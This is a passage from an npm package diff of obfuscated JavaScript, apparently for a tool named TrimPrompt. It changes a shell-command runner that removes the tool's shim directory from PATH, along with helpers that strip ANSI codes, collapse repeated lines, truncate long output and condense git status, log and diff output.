_0x43ff5b=_0x1d55e9(_0x2d8a49),_0x2adeca=0x0;_0x2adeca<_0x43ff5b['length'];_0x2adeca++)if(_0x43ff5b[_0x2adeca]!==_0x3812cb(0x14c))__createBinding(_0x30a314,_0x2d8a49,_0x43ff5b[_0x2adeca]);}return __setModuleDefault(_0x30a314,_0x2d8a49),_0x30a314;};}());Object[a0_0x424952(0x143)](exports,a0_0x424952(0x132),{'value':!![]}),exports[a0_0x424952(0x13a)]=executeCommand;const child_process_1=require(a0_0x424952(0x145)),path=__importStar(require(a0_0x424952(0x136))),os=__importStar(require('os'));function executeCommand(_0x462aee,_0x446ed9){return new Promise(_0x5c33f1=>{var _0x38f71a=a0_0x6437;const _0x5cbd94=path['join'](os[_0x38f71a(0x15c)](),_0x38f71a(0x142),_0x38f71a(0x14a)),_0x2e8ab2=(process.env.PATH||'')[_0x38f71a(0x13c)](path[_0x38f71a(0x141)])[_0x38f71a(0x154)](_0xabb033=>_0xabb033[_0x38f71a(0x152)]()[_0x38f71a(0x158)]()!==_0x5cbd94[_0x38f71a(0x158)]())[_0x38f71a(0x134)](path['delimiter']),_0x2f4e36={...process.env,'PATH':_0x2e8ab2,'TRIMPROMPT_DISABLED':'1'},_0x138943=(0x0,child_process_1[_0x38f71a(0x13b)])(_0x462aee,_0x446ed9,{'stdio':[_0x38f71a(0x14f),_0x38f71a(0x138),_0x38f71a(0x138)],'shell':!![],'env':_0x2f4e36});let _0x59a529='',_0xea7476='';_0x138943['stdout']?.['on'](_0x38f71a(0x13e),_0x387bec=>{_0x59a529+=_0x387bec['toString']();}),_0x138943['stderr']?.['on'](_0x38f71a(0x13e),_0x3bc7fc=>{var _0x2b4118=_0x38f71a;_0xea7476+=_0x3bc7fc[_0x2b4118(0x150)]();}),_0x138943['on'](_0x38f71a(0x14d),_0x570dbb=>{var _0x540e7c=_0x38f71a;_0x5c33f1({'exitCode':0x1,'stdout':'','stderr':_0x540e7c(0x15a)+_0x462aee+'\x22:\x20'+_0x570dbb[_0x540e7c(0x133)]});}),_0x138943['on'](_0x38f71a(0x151),_0xdc9052=>{_0x5c33f1({'exitCode':_0xdc9052??0x0,'stdout':_0x59a529,'stderr':_0xea7476});});});}
1
+ 'use strict';var a0_0x3c9f39=a0_0x415a;(function(_0x9a901b,_0x456e72){var _0x124015=a0_0x415a,_0x515af6=_0x9a901b();while(!![]){try{var _0x3b89ff=parseInt(_0x124015(0x8b))/0x1*(parseInt(_0x124015(0x76))/0x2)+-parseInt(_0x124015(0x90))/0x3*(-parseInt(_0x124015(0x7e))/0x4)+-parseInt(_0x124015(0x77))/0x5+-parseInt(_0x124015(0x9a))/0x6*(parseInt(_0x124015(0x73))/0x7)+-parseInt(_0x124015(0x81))/0x8*(-parseInt(_0x124015(0x86))/0x9)+parseInt(_0x124015(0x7d))/0xa*(-parseInt(_0x124015(0x95))/0xb)+parseInt(_0x124015(0x85))/0xc;if(_0x3b89ff===_0x456e72)break;else _0x515af6['push'](_0x515af6['shift']());}catch(_0x525293){_0x515af6['push'](_0x515af6['shift']());}}}(a0_0x40ff,0x873d5));function a0_0x40ff(){var _0x421579=['__setModuleDefault','filter','233981VsOvBR','__esModule','error','spawn','toLowerCase','30318AnhBeO','data','stderr','inherit','join','get','959pextIW','prototype','executeCommand','1012ISrZZt','564415Evtwcq','__importStar','getOwnPropertyDescriptor','toString','getOwnPropertyNames','__createBinding','290EYLrnb','4144488hdsqmr','configurable','stdout','1112024mPXXmU','pipe','child_process','homedir','2802336kRSyDB','36jIKnDj','length','create','delimiter','message','297ggHBpZ','defineProperty','writable','trim','Failed\x20to\x20spawn\x20command\x20\x22','3thsmJL','default','shims'];a0_0x40ff=function(){return _0x421579;};return a0_0x40ff();}var __createBinding=this&&this[a0_0x3c9f39(0x7c)]||(Object[a0_0x3c9f39(0x88)]?function(_0xf49bbe,_0x52e66e,_0x333a5b,_0x2f3e75){var _0xdb07e3=a0_0x3c9f39;if(_0x2f3e75===undefined)_0x2f3e75=_0x333a5b;var _0x2b9105=Object[_0xdb07e3(0x79)](_0x52e66e,_0x333a5b);(!_0x2b9105||(_0xdb07e3(0x72)in _0x2b9105?!_0x52e66e[_0xdb07e3(0x96)]:_0x2b9105[_0xdb07e3(0x8d)]||_0x2b9105[_0xdb07e3(0x7f)]))&&(_0x2b9105={'enumerable':!![],'get':function(){return _0x52e66e[_0x333a5b];}}),Object[_0xdb07e3(0x8c)](_0xf49bbe,_0x2f3e75,_0x2b9105);}:function(_0x3162da,_0x53af5e,_0xd9ed88,_0x14d8f8){if(_0x14d8f8===undefined)_0x14d8f8=_0xd9ed88;_0x3162da[_0x14d8f8]=_0x53af5e[_0xd9ed88];}),__setModuleDefault=this&&this[a0_0x3c9f39(0x93)]||(Object['create']?function(_0x1ae745,_0x4963c4){var _0x1c37fb=a0_0x3c9f39;Object[_0x1c37fb(0x8c)](_0x1ae745,_0x1c37fb(0x91),{'enumerable':!![],'value':_0x4963c4});}:function(_0xd6e5b2,_0x1252fd){var _0x188f4d=a0_0x3c9f39;_0xd6e5b2[_0x188f4d(0x91)]=_0x1252fd;}),__importStar=this&&this[a0_0x3c9f39(0x78)]||(function(){var _0x1b13ae=function(_0x1e0e2d){var _0x2fbb4=a0_0x415a;return _0x1b13ae=Object[_0x2fbb4(0x7b)]||function(_0x5cb3f0){var _0x2e8c53=_0x2fbb4,_0x2ef496=[];for(var _0x5d01fd in _0x5cb3f0)if(Object[_0x2e8c53(0x74)]['hasOwnProperty']['call'](_0x5cb3f0,_0x5d01fd))_0x2ef496[_0x2ef496[_0x2e8c53(0x87)]]=_0x5d01fd;return _0x2ef496;},_0x1b13ae(_0x1e0e2d);};return function(_0x2a4496){var _0x369b3c=a0_0x415a;if(_0x2a4496&&_0x2a4496['__esModule'])return _0x2a4496;var _0x50f441={};if(_0x2a4496!=null){for(var _0x26ee83=_0x1b13ae(_0x2a4496),_0x37ce8a=0x0;_0x37ce8a<_0x26ee83[_0x369b3c(0x87)];_0x37ce8a++)if(_0x26ee83[_0x37ce8a]!=='default')__createBinding(_0x50f441,_0x2a4496,_0x26ee83[_0x37ce8a]);}return __setModuleDefault(_0x50f441,_0x2a4496),_0x50f441;};}());Object[a0_0x3c9f39(0x8c)](exports,a0_0x3c9f39(0x96),{'value':!![]}),exports[a0_0x3c9f39(0x75)]=executeCommand;function a0_0x415a(_0x1a873e,_0xdb6ebd){_0x1a873e=_0x1a873e-0x70;var _0x40ff1c=a0_0x40ff();var _0x415a66=_0x40ff1c[_0x1a873e];return _0x415a66;}const child_process_1=require(a0_0x3c9f39(0x83)),path=__importStar(require('path')),os=__importStar(require('os'));function executeCommand(_0x25c350,_0x11cc36){return new Promise(_0x3638b7=>{var _0x36b763=a0_0x415a;const _0xdba6b0=path[_0x36b763(0x71)](os[_0x36b763(0x84)](),'.trimprompt',_0x36b763(0x92)),_0xa076bf=(process.env.PATH||'')['split'](path[_0x36b763(0x89)])[_0x36b763(0x94)](_0xd53745=>_0xd53745[_0x36b763(0x8e)]()[_0x36b763(0x99)]()!==_0xdba6b0[_0x36b763(0x99)]())[_0x36b763(0x71)](path[_0x36b763(0x89)]),_0x181394={...process.env,'PATH':_0xa076bf,'TRIMPROMPT_DISABLED':'1'},_0x271d2a=(0x0,child_process_1[_0x36b763(0x98)])(_0x25c350,_0x11cc36,{'stdio':[_0x36b763(0x70),_0x36b763(0x82),_0x36b763(0x82)],'shell':!![],'env':_0x181394});let _0x462923='',_0x35ad48='';_0x271d2a[_0x36b763(0x80)]?.['on'](_0x36b763(0x9b),_0x29fc8a=>{_0x462923+=_0x29fc8a['toString']();}),_0x271d2a[_0x36b763(0x9c)]?.['on']('data',_0x3e3670=>{var _0x17dcab=_0x36b763;_0x35ad48+=_0x3e3670[_0x17dcab(0x7a)]();}),_0x271d2a['on'](_0x36b763(0x97),_0x30cb07=>{var _0x323e57=_0x36b763;_0x3638b7({'exitCode':0x1,'stdout':'','stderr':_0x323e57(0x8f)+_0x25c350+'\x22:\x20'+_0x30cb07[_0x323e57(0x8a)]});}),_0x271d2a['on']('close',_0x119edf=>{_0x3638b7({'exitCode':_0x119edf??0x0,'stdout':_0x462923,'stderr':_0x35ad48});});});}
@@ -1 +1 @@
1
- 'use strict';const a0_0x1ac277=a0_0x2d06;(function(_0x1cc00e,_0x404c1e){const _0x1499b5=a0_0x2d06,_0x1cccdf=_0x1cc00e();while(!![]){try{const _0x20d64d=-parseInt(_0x1499b5(0x137))/0x1+parseInt(_0x1499b5(0x140))/0x2*(-parseInt(_0x1499b5(0x142))/0x3)+-parseInt(_0x1499b5(0x14b))/0x4+-parseInt(_0x1499b5(0x147))/0x5+parseInt(_0x1499b5(0x13a))/0x6+parseInt(_0x1499b5(0x145))/0x7+parseInt(_0x1499b5(0x144))/0x8;if(_0x20d64d===_0x404c1e)break;else _0x1cccdf['push'](_0x1cccdf['shift']());}catch(_0x22fb18){_0x1cccdf['push'](_0x1cccdf['shift']());}}}(a0_0x328f,0xacb64));Object[a0_0x1ac277(0x148)](exports,a0_0x1ac277(0x149),{'value':!![]}),exports[a0_0x1ac277(0x14a)]=stripAnsi,exports[a0_0x1ac277(0x139)]=collapseDuplicates,exports['softTruncate']=softTruncate;function stripAnsi(_0x16bfbf){const _0x4e7b20=a0_0x1ac277,_0x431d92=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x16bfbf[_0x4e7b20(0x146)](_0x431d92,'');}function collapseDuplicates(_0x277449){const _0x4f846c=a0_0x1ac277,_0x467adc=_0x277449[_0x4f846c(0x13e)]('\x0a');if(_0x467adc[_0x4f846c(0x13c)]<=0x1)return _0x277449;const _0x40765d=[];let _0x2ba99a=_0x467adc[0x0],_0xcb3e46=0x1;for(let _0x3a9dea=0x1;_0x3a9dea<_0x467adc['length'];_0x3a9dea++){const _0x20ebbd=_0x467adc[_0x3a9dea];_0x20ebbd===_0x2ba99a&&_0x20ebbd[_0x4f846c(0x141)]()[_0x4f846c(0x13c)]>0x0?_0xcb3e46++:(_0xcb3e46>0x1?_0x40765d[_0x4f846c(0x143)](_0x2ba99a+_0x4f846c(0x136)+_0xcb3e46+']'):_0x40765d[_0x4f846c(0x143)](_0x2ba99a),_0x2ba99a=_0x20ebbd,_0xcb3e46=0x1);}return _0xcb3e46>0x1?_0x40765d[_0x4f846c(0x143)](_0x2ba99a+_0x4f846c(0x136)+_0xcb3e46+']'):_0x40765d[_0x4f846c(0x143)](_0x2ba99a),_0x40765d['join']('\x0a');}function a0_0x2d06(_0x11b799,_0x5b103e){_0x11b799=_0x11b799-0x136;const _0x328ff6=a0_0x328f();let _0x2d06cb=_0x328ff6[_0x11b799];return _0x2d06cb;}function a0_0x328f(){const _0x581728=['collapseDuplicates','4763376figfqL','slice','length','join','split','\x20characters\x20of\x20output]\x20...\x0a','176044MSAKPA','trim','30GJqrtu','push','14528808mBGeIR','1235892nysYcv','replace','139190AShFah','defineProperty','__esModule','stripAnsi','2622776pUlWwo','\x20[x','515373YzInhr','\x0a...\x20[TrimPrompt:\x20Truncated\x20'];a0_0x328f=function(){return _0x581728;};return a0_0x328f();}function softTruncate(_0x8f264b,_0x44291f=0x4e20){const _0x220fb9=a0_0x1ac277;if(_0x8f264b[_0x220fb9(0x13c)]<=_0x44291f)return _0x8f264b;const _0x438ec5=_0x8f264b['split']('\x0a');if(_0x438ec5[_0x220fb9(0x13c)]<=0xc8)return _0x8f264b;const _0x121f26=0x32,_0x28b510=0x96,_0x2cf481=_0x438ec5['slice'](0x0,_0x121f26),_0x1f257d=_0x438ec5[_0x220fb9(0x13b)](_0x438ec5[_0x220fb9(0x13c)]-_0x28b510),_0x23876a=_0x8f264b['length']-(_0x2cf481['join']('\x0a')['length']+_0x1f257d[_0x220fb9(0x13d)]('\x0a')[_0x220fb9(0x13c)]);return[..._0x2cf481,_0x220fb9(0x138)+_0x23876a+_0x220fb9(0x13f),..._0x1f257d][_0x220fb9(0x13d)]('\x0a');}
1
+ 'use strict';const a0_0x5e4f17=a0_0x6095;(function(_0x17915b,_0x38103){const _0x7ba819=a0_0x6095,_0x273dcd=_0x17915b();while(!![]){try{const _0x18defc=-parseInt(_0x7ba819(0x9c))/0x1+parseInt(_0x7ba819(0x92))/0x2*(-parseInt(_0x7ba819(0xa0))/0x3)+-parseInt(_0x7ba819(0x99))/0x4*(parseInt(_0x7ba819(0x95))/0x5)+parseInt(_0x7ba819(0x94))/0x6+-parseInt(_0x7ba819(0x8f))/0x7*(parseInt(_0x7ba819(0x91))/0x8)+parseInt(_0x7ba819(0xa4))/0x9*(parseInt(_0x7ba819(0x90))/0xa)+-parseInt(_0x7ba819(0x9f))/0xb;if(_0x18defc===_0x38103)break;else _0x273dcd['push'](_0x273dcd['shift']());}catch(_0x57173c){_0x273dcd['push'](_0x273dcd['shift']());}}}(a0_0x3384,0x4ffee));Object[a0_0x5e4f17(0x9a)](exports,a0_0x5e4f17(0x9b),{'value':!![]}),exports['stripAnsi']=stripAnsi,exports[a0_0x5e4f17(0x9d)]=collapseDuplicates,exports[a0_0x5e4f17(0x97)]=softTruncate;function stripAnsi(_0x3b27bf){const _0x45d724=a0_0x5e4f17,_0x307992=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x3b27bf[_0x45d724(0x93)](_0x307992,'');}function a0_0x6095(_0x39a728,_0x4f586f){_0x39a728=_0x39a728-0x8d;const _0x338406=a0_0x3384();let _0x609514=_0x338406[_0x39a728];return _0x609514;}function collapseDuplicates(_0x59dc82){const _0x423914=a0_0x5e4f17,_0x5b4123=_0x59dc82[_0x423914(0xa1)]('\x0a');if(_0x5b4123[_0x423914(0x96)]<=0x1)return _0x59dc82;const _0x4783f2=[];let _0x54eaa4=_0x5b4123[0x0],_0x438d04=0x1;for(let _0x4093dd=0x1;_0x4093dd<_0x5b4123[_0x423914(0x96)];_0x4093dd++){const _0x31a4e1=_0x5b4123[_0x4093dd];_0x31a4e1===_0x54eaa4&&_0x31a4e1[_0x423914(0x8d)]()[_0x423914(0x96)]>0x0?_0x438d04++:(_0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+'\x20[x'+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x54eaa4=_0x31a4e1,_0x438d04=0x1);}return _0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+_0x423914(0x9e)+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x4783f2[_0x423914(0x8e)]('\x0a');}function softTruncate(_0x520b90,_0x5cf7db=0x4e20){const _0x3d2cf4=a0_0x5e4f17;if(_0x520b90[_0x3d2cf4(0x96)]<=_0x5cf7db)return _0x520b90;const _0x30b2d3=_0x520b90[_0x3d2cf4(0xa1)]('\x0a');if(_0x30b2d3[_0x3d2cf4(0x96)]<=0xc8)return _0x520b90;const _0x4de559=0x32,_0x418176=0x96,_0xb6768=_0x30b2d3[_0x3d2cf4(0xa2)](0x0,_0x4de559),_0x2d407d=_0x30b2d3[_0x3d2cf4(0xa2)](_0x30b2d3[_0x3d2cf4(0x96)]-_0x418176),_0x4dede9=_0x520b90[_0x3d2cf4(0x96)]-(_0xb6768[_0x3d2cf4(0x8e)]('\x0a')['length']+_0x2d407d[_0x3d2cf4(0x8e)]('\x0a')[_0x3d2cf4(0x96)]);return[..._0xb6768,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x4dede9+_0x3d2cf4(0x98),..._0x2d407d][_0x3d2cf4(0x8e)]('\x0a');}function a0_0x3384(){const _0x71f406=['5608196zQeTkY','7281QsmteE','split','slice','push','18TdSuAL','trim','join','12299mJtjOi','3202370fwDZSl','576BJMzMd','58ewJVWE','replace','2645502tjJIxw','7335BqPdvM','length','softTruncate','\x20characters\x20of\x20output]\x20...\x0a','24oxevPe','defineProperty','__esModule','38204KKGbCz','collapseDuplicates','\x20[x'];a0_0x3384=function(){return _0x71f406;};return a0_0x3384();}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x127a(){const _0x5e6505=['\x0aChanges:','length','*\x20Branch:\x20','configurable','4385892gbpcJc','split','match','---END---','+++','\x20untracked\x20files)','\x20\x20...\x20+','\x20more\x20modifications','trim','filterGitDiff','/\x20(','startsWith','---','unknown_file','map','168Zqtitd','__setModuleDefault','filterGitLog','defineProperty','call','\x20(+','getOwnPropertyDescriptor','534513RbXTPq','312507akiVsd','30qgTXAM','slice','__esModule','Clean\x20working\x20tree','basename','diff\x20--git','310538EHcwIX','writable','prototype','__createBinding','filter','hasOwnProperty','2811411poubEE','__importStar','17205260lNVLjD','substring','\x0aUntracked\x20files:','[file]\x20','entries','\x20\x20??\x20','join','dirname','create','replace','push','132084sfrSrK','get','245VFNliL','default'];a0_0x127a=function(){return _0x5e6505;};return a0_0x127a();}const a0_0x24433a=a0_0x1d68;(function(_0x24d651,_0x34578f){const _0xb6ddb8=a0_0x1d68,_0x4f4797=_0x24d651();while(!![]){try{const _0x138006=-parseInt(_0xb6ddb8(0x136))/0x1+-parseInt(_0xb6ddb8(0x13d))/0x2*(parseInt(_0xb6ddb8(0x137))/0x3)+parseInt(_0xb6ddb8(0x150))/0x4*(-parseInt(_0xb6ddb8(0x152))/0x5)+parseInt(_0xb6ddb8(0x11f))/0x6+parseInt(_0xb6ddb8(0x135))/0x7*(parseInt(_0xb6ddb8(0x12e))/0x8)+parseInt(_0xb6ddb8(0x143))/0x9+parseInt(_0xb6ddb8(0x145))/0xa;if(_0x138006===_0x34578f)break;else _0x4f4797['push'](_0x4f4797['shift']());}catch(_0x126a4a){_0x4f4797['push'](_0x4f4797['shift']());}}}(a0_0x127a,0xd7de8));var __createBinding=this&&this[a0_0x24433a(0x140)]||(Object['create']?function(_0x4a37c2,_0x112ffd,_0x20c426,_0x4590f1){const _0x2b6dfb=a0_0x24433a;if(_0x4590f1===undefined)_0x4590f1=_0x20c426;var _0x37b397=Object[_0x2b6dfb(0x134)](_0x112ffd,_0x20c426);(!_0x37b397||(_0x2b6dfb(0x151)in _0x37b397?!_0x112ffd[_0x2b6dfb(0x139)]:_0x37b397[_0x2b6dfb(0x13e)]||_0x37b397[_0x2b6dfb(0x11e)]))&&(_0x37b397={'enumerable':!![],'get':function(){return _0x112ffd[_0x20c426];}}),Object[_0x2b6dfb(0x131)](_0x4a37c2,_0x4590f1,_0x37b397);}:function(_0x47d0ac,_0x58a18e,_0x2a912e,_0x307cef){if(_0x307cef===undefined)_0x307cef=_0x2a912e;_0x47d0ac[_0x307cef]=_0x58a18e[_0x2a912e];}),__setModuleDefault=this&&this[a0_0x24433a(0x12f)]||(Object[a0_0x24433a(0x14d)]?function(_0x114d13,_0x280515){const _0x16389e=a0_0x24433a;Object[_0x16389e(0x131)](_0x114d13,'default',{'enumerable':!![],'value':_0x280515});}:function(_0x276c9a,_0x39ed11){_0x276c9a['default']=_0x39ed11;}),__importStar=this&&this[a0_0x24433a(0x144)]||(function(){var _0x286ba8=function(_0x24db84){return _0x286ba8=Object['getOwnPropertyNames']||function(_0x63de29){const _0x4f00d9=a0_0x1d68;var _0x4dda9c=[];for(var _0x10138b in _0x63de29)if(Object[_0x4f00d9(0x13f)][_0x4f00d9(0x142)][_0x4f00d9(0x132)](_0x63de29,_0x10138b))_0x4dda9c[_0x4dda9c[_0x4f00d9(0x11c)]]=_0x10138b;return _0x4dda9c;},_0x286ba8(_0x24db84);};return function(_0x29a287){const _0x407582=a0_0x1d68;if(_0x29a287&&_0x29a287[_0x407582(0x139)])return _0x29a287;var _0x598097={};if(_0x29a287!=null){for(var _0x1ca2b6=_0x286ba8(_0x29a287),_0x873bc5=0x0;_0x873bc5<_0x1ca2b6['length'];_0x873bc5++)if(_0x1ca2b6[_0x873bc5]!==_0x407582(0x153))__createBinding(_0x598097,_0x29a287,_0x1ca2b6[_0x873bc5]);}return __setModuleDefault(_0x598097,_0x29a287),_0x598097;};}());Object[a0_0x24433a(0x131)](exports,a0_0x24433a(0x139),{'value':!![]}),exports['filterGitStatus']=filterGitStatus,exports[a0_0x24433a(0x130)]=filterGitLog,exports[a0_0x24433a(0x128)]=filterGitDiff;const path=__importStar(require('path'));function filterGitStatus(_0x5d598b){const _0x399a7c=a0_0x24433a,_0xe7fb0a=_0x5d598b[_0x399a7c(0x120)]('\x0a')[_0x399a7c(0x12d)](_0x4d4766=>_0x4d4766[_0x399a7c(0x127)]())['filter'](_0x473a11=>_0x473a11['length']>0x0);if(_0xe7fb0a['length']===0x0)return _0x399a7c(0x13a);const _0x49c043=[],_0x4aac05=[],_0x2882b9=[];for(const _0x40e98a of _0xe7fb0a){if(_0x40e98a[_0x399a7c(0x12a)]('##')){const _0x1768c8=_0x40e98a[_0x399a7c(0x14e)](/^##\s*/,'');_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x11d)+_0x1768c8);}else _0x40e98a[_0x399a7c(0x12a)]('??')?_0x4aac05['push'](_0x40e98a[_0x399a7c(0x146)](0x3)[_0x399a7c(0x127)]()):_0x2882b9[_0x399a7c(0x14f)](_0x40e98a);}_0x2882b9[_0x399a7c(0x11c)]>0x0&&(_0x49c043['push'](_0x399a7c(0x11b)),_0x49c043['push'](..._0x2882b9[_0x399a7c(0x12d)](_0x36ecd0=>'\x20\x20'+_0x36ecd0)));if(_0x4aac05[_0x399a7c(0x11c)]>0x0){_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x147));const _0x3164f7={},_0x4cf652=[];for(const _0x5b50d8 of _0x4aac05){const _0x38f4c3=path[_0x399a7c(0x14c)](_0x5b50d8);_0x38f4c3==='.'||_0x38f4c3===''?_0x4cf652[_0x399a7c(0x14f)](_0x5b50d8):(!_0x3164f7[_0x38f4c3]&&(_0x3164f7[_0x38f4c3]=[]),_0x3164f7[_0x38f4c3][_0x399a7c(0x14f)](path[_0x399a7c(0x13b)](_0x5b50d8)));}for(const [_0x430a10,_0x57fb12]of Object[_0x399a7c(0x149)](_0x3164f7)){if(_0x57fb12['length']>0x5)_0x49c043[_0x399a7c(0x14f)](_0x399a7c(0x14a)+_0x430a10+_0x399a7c(0x129)+_0x57fb12['length']+_0x399a7c(0x124));else for(const _0x17d985 of _0x57fb12){_0x49c043['push']('\x20\x20??\x20'+path[_0x399a7c(0x14b)](_0x430a10,_0x17d985));}}for(const _0x4e5a18 of _0x4cf652){_0x49c043[_0x399a7c(0x14f)]('\x20\x20??\x20'+_0x4e5a18);}}return _0x49c043[_0x399a7c(0x14b)]('\x0a');}function a0_0x1d68(_0x1cd893,_0x325b33){_0x1cd893=_0x1cd893-0x11b;const _0x127aa8=a0_0x127a();let _0x1d688d=_0x127aa8[_0x1cd893];return _0x1d688d;}function filterGitLog(_0x20bf1b){const _0x172e5a=a0_0x24433a,_0x48376a=_0x20bf1b[_0x172e5a(0x120)](_0x172e5a(0x122))['map'](_0x3a1817=>_0x3a1817[_0x172e5a(0x127)]())[_0x172e5a(0x141)](_0x439d0e=>_0x439d0e['length']>0x0);if(_0x48376a[_0x172e5a(0x11c)]===0x0)return _0x20bf1b;const _0x4692ef=[];for(const _0x1a016f of _0x48376a){const _0x57ccc4=_0x1a016f[_0x172e5a(0x120)]('\x0a'),_0x144e5c=_0x57ccc4[0x0]||'',_0x389062=_0x57ccc4['slice'](0x1)['map'](_0x419679=>_0x419679[_0x172e5a(0x127)]())[_0x172e5a(0x141)](_0x3ea273=>_0x3ea273[_0x172e5a(0x11c)]>0x0);_0x4692ef[_0x172e5a(0x14f)]('-\x20'+_0x144e5c),_0x389062[_0x172e5a(0x11c)]>0x0&&(_0x4692ef['push']('\x20\x20'+_0x389062[0x0]),_0x389062['length']>0x1&&_0x4692ef[_0x172e5a(0x14f)]('\x20\x20...\x20(+'+(_0x389062[_0x172e5a(0x11c)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x4692ef['join']('\x0a');}function filterGitDiff(_0x35e03d){const _0xd7dd0f=a0_0x24433a,_0x55a511=_0x35e03d[_0xd7dd0f(0x120)]('\x0a'),_0x34d0cb=[];let _0x8a4014='',_0x46b350=0x0,_0xa404ac=0x0,_0x1f503f=[];const _0x313fe2=()=>{const _0x3c2f1c=_0xd7dd0f;if(_0x8a4014&&(_0x46b350>0x0||_0xa404ac>0x0)){_0x34d0cb[_0x3c2f1c(0x14f)](_0x3c2f1c(0x148)+_0x8a4014+_0x3c2f1c(0x133)+_0x46b350+'\x20-'+_0xa404ac+')');const _0x475fe9=0xa,_0x5c7dd8=_0x1f503f[_0x3c2f1c(0x138)](0x0,_0x475fe9);for(const _0x39848a of _0x5c7dd8){_0x34d0cb[_0x3c2f1c(0x14f)]('\x20\x20'+_0x39848a);}const _0x4dbe1d=_0x46b350+_0xa404ac-_0x475fe9;_0x4dbe1d>0x0&&_0x34d0cb['push'](_0x3c2f1c(0x125)+_0x4dbe1d+_0x3c2f1c(0x126));}_0x46b350=0x0,_0xa404ac=0x0,_0x1f503f=[];};for(const _0x26a78d of _0x55a511){if(_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x13c))){_0x313fe2();const _0xbc5ae=_0x26a78d[_0xd7dd0f(0x121)](/\sb\/(.+)$/);_0x8a4014=_0xbc5ae?_0xbc5ae[0x1]:_0xd7dd0f(0x12c);}else{if(_0x26a78d[_0xd7dd0f(0x12a)]('+')&&!_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x123)))_0x46b350++,_0x1f503f[_0xd7dd0f(0x14f)](_0x26a78d);else _0x26a78d[_0xd7dd0f(0x12a)]('-')&&!_0x26a78d[_0xd7dd0f(0x12a)](_0xd7dd0f(0x12b))&&(_0xa404ac++,_0x1f503f[_0xd7dd0f(0x14f)](_0x26a78d));}}_0x313fe2();const _0x513d89=_0x34d0cb['join']('\x0a');return _0x513d89['length']>0x0?_0x513d89:'No\x20modifications';}
1
+ 'use strict';const a0_0x51e3d2=a0_0x5d02;(function(_0x3c4214,_0x138979){const _0x567835=a0_0x5d02,_0x5c7b95=_0x3c4214();while(!![]){try{const _0x4db153=parseInt(_0x567835(0x15c))/0x1*(parseInt(_0x567835(0x16f))/0x2)+parseInt(_0x567835(0x166))/0x3*(-parseInt(_0x567835(0x170))/0x4)+-parseInt(_0x567835(0x16c))/0x5+-parseInt(_0x567835(0x17f))/0x6+-parseInt(_0x567835(0x17d))/0x7+parseInt(_0x567835(0x187))/0x8+parseInt(_0x567835(0x184))/0x9;if(_0x4db153===_0x138979)break;else _0x5c7b95['push'](_0x5c7b95['shift']());}catch(_0xe2933c){_0x5c7b95['push'](_0x5c7b95['shift']());}}}(a0_0x1ddb,0xe6ffe));function a0_0x5d02(_0x4fad61,_0x35ac88){_0x4fad61=_0x4fad61-0x15b;const _0x1ddb33=a0_0x1ddb();let _0x5d0257=_0x1ddb33[_0x4fad61];return _0x5d0257;}var __createBinding=this&&this[a0_0x51e3d2(0x178)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x3579c8,_0x55c342,_0x2c4301,_0xe2f10){const _0x33d634=a0_0x51e3d2;if(_0xe2f10===undefined)_0xe2f10=_0x2c4301;var _0x1657a7=Object[_0x33d634(0x15e)](_0x55c342,_0x2c4301);(!_0x1657a7||(_0x33d634(0x181)in _0x1657a7?!_0x55c342[_0x33d634(0x17b)]:_0x1657a7[_0x33d634(0x15d)]||_0x1657a7[_0x33d634(0x177)]))&&(_0x1657a7={'enumerable':!![],'get':function(){return _0x55c342[_0x2c4301];}}),Object[_0x33d634(0x179)](_0x3579c8,_0xe2f10,_0x1657a7);}:function(_0x3a9cf8,_0x203b49,_0x138733,_0x29ff92){if(_0x29ff92===undefined)_0x29ff92=_0x138733;_0x3a9cf8[_0x29ff92]=_0x203b49[_0x138733];}),__setModuleDefault=this&&this[a0_0x51e3d2(0x18b)]||(Object[a0_0x51e3d2(0x18e)]?function(_0x5b6d8b,_0x31a6a9){const _0x17f2cd=a0_0x51e3d2;Object['defineProperty'](_0x5b6d8b,_0x17f2cd(0x16e),{'enumerable':!![],'value':_0x31a6a9});}:function(_0x147a1f,_0x1d7ead){_0x147a1f['default']=_0x1d7ead;}),__importStar=this&&this[a0_0x51e3d2(0x172)]||(function(){var _0x57fa3b=function(_0x1b2c17){const _0x51d849=a0_0x5d02;return _0x57fa3b=Object[_0x51d849(0x165)]||function(_0x35ac3c){const _0x278122=_0x51d849;var _0x3acc88=[];for(var _0x219323 in _0x35ac3c)if(Object[_0x278122(0x191)]['hasOwnProperty'][_0x278122(0x16b)](_0x35ac3c,_0x219323))_0x3acc88[_0x3acc88['length']]=_0x219323;return _0x3acc88;},_0x57fa3b(_0x1b2c17);};return function(_0x32f87a){const _0x5063d9=a0_0x5d02;if(_0x32f87a&&_0x32f87a['__esModule'])return _0x32f87a;var _0x3442a6={};if(_0x32f87a!=null){for(var _0x596939=_0x57fa3b(_0x32f87a),_0x2a0127=0x0;_0x2a0127<_0x596939[_0x5063d9(0x176)];_0x2a0127++)if(_0x596939[_0x2a0127]!==_0x5063d9(0x16e))__createBinding(_0x3442a6,_0x32f87a,_0x596939[_0x2a0127]);}return __setModuleDefault(_0x3442a6,_0x32f87a),_0x3442a6;};}());Object[a0_0x51e3d2(0x179)](exports,a0_0x51e3d2(0x17b),{'value':!![]}),exports[a0_0x51e3d2(0x164)]=filterGitStatus,exports[a0_0x51e3d2(0x18a)]=filterGitLog,exports[a0_0x51e3d2(0x173)]=filterGitDiff;const path=__importStar(require(a0_0x51e3d2(0x175)));function filterGitStatus(_0x7b7736){const 